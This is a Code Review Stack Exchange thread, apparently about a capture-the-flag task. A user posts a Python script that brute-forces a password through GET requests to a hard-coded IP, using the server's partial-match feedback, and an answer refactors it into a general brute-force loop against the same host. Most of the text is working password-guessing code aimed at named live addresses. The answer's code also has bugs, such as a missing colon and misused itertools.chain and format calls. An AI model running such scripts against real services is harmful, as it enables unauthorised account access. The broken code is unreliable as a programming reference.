-1
\$\begingroup\$

My Script tries to find a password, using a brute force approach. The password is then tried using a GET call to a website. I'm not happy with the way the script looks, particularly the number of variables I have had to use for such a small validation.

import mechanize
import itertools
import string

br = mechanize.Browser()
url = "http://128.199.96.39/?password={0}{1}{2}{3}"
response = br.open(url)

cnt = 0
pat = "invalid {}Invalid"
acc = string.ascii_letters + "0123456789!@#$%^{}()[]"
combinations = itertools.permutations(acc,cnt+1)
res = ""
a = "x"
b = "x"
c = "x"
d = "x"
bb = "x"
cc = "x"
dd = "x"

while True:
    combinations = itertools.permutations(acc,1)
    for x in combinations:
        x = "".join(x)
        if a == "x":
            aa = x
        elif b == "x":
            bb = x
        elif c == "x":
            cc = x
        elif d == "x":
            dd = x

        response = br.open(url.format(aa,bb,cc,dd))

        cek = response.read().split("<")[0]

        if "flag" in cek:
            print cek
            break


    if pat.format(cnt+1) in cek:
        cnt += 1
        if a == "x":
            a = x
        elif b == "x":
            b = x
        elif c == "x":
            c = x
        elif d == "x":
            d = x
        #print x
\$\endgroup\$
1
\$\begingroup\$

You should consider more characters. While the whole string.printable is probably too much (tab is usually not allowed), you should consider

characters = (string.letters, string.digits, string.punctuation)

I wrote it not as one long string because string addition is costly. We can just use itertools.chain(characters) later.

Your whole permutation code boils down to:

n = 4  # Hard-coded in url in your code.
br = mechanize.Browser()
url_template = "http://128.199.96.39/?password=" + "{}" * n
for password in itertools.permutations(itertools.chain(characters), n):
    response = br.open(url_template.format(password))

Your code does not need to build the permutations itself, it can rely directly on itertools.permutation to give it the correct password tuple. I actually don't understand the whole using 'x' as a place holder.

Having n as a parameter like above allows you to also loop over different password lengths:

import mechanize
import itertools
import string


def check_response(response):
    """Checks whether we are logged in yet"""
    return False  # Implementation left as an exercise


def try_passwords(br, url, n, characters):
    for password in itertools.permutations(itertools.chain(characters), n):
        response = br.open(url % "".join(password))
        if check_response(response):
            return password
    return None

def brute_force(url, characters, max_length=8)
    browser = mechanize.Browser()
    for n in range(max_length):  # Also try empty password, we might be lucky
        password = try_passwords(browser, url, n, characters)
        if password is not None:
            print "Found password:", "".join(password)
            break

if __name__ == "__main__":
    characters = (string.letters, string.digits, string.punctuation)
    brute_force("http://128.199.96.39/?password=%s", characters)

Note that it will take a very long time to run through all \$\approx 6.7\times 10^{15}\$ combinations for a character length of 8 characters. It will still take a long time to make all \$\approx 8.1\times 10^{7}\$ requests for a 4 character password.

You might want to test other packages for the web requests, because they are going to be your bottle-neck. Maybe try the requests module.

\$\endgroup\$
  • \$\begingroup\$ Thanks Graipher , i'm sorry i didn't give a clear question i mean in my first script if we input right one character into the password parameter the server will returned "Invalid 1Invalid" and if 2 character is right "Invalid 2Invalid" if 3 character is right "Invalid 3Invalid" so actually the proces won't take many times ... i will try run the server again so you can get the problem more clear .. sorry for my bad english :D \$\endgroup\$ – Hasnydesign Sep 23 '16 at 10:55
  • \$\begingroup\$ Here is the actual web : 128.199.226.218/test.php?password=XXXX \$\endgroup\$ – Hasnydesign Sep 23 '16 at 12:08
  • \$\begingroup\$ @Hasnydesign So you don't want to brute-force a password, you want to brute-force a password with iterative feedback on whether parts of the password are correct. This is not reflected in your question but it is too late to change the assumptions (because it has gotten one answer already, this one). \$\endgroup\$ – Graipher Sep 23 '16 at 12:11

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.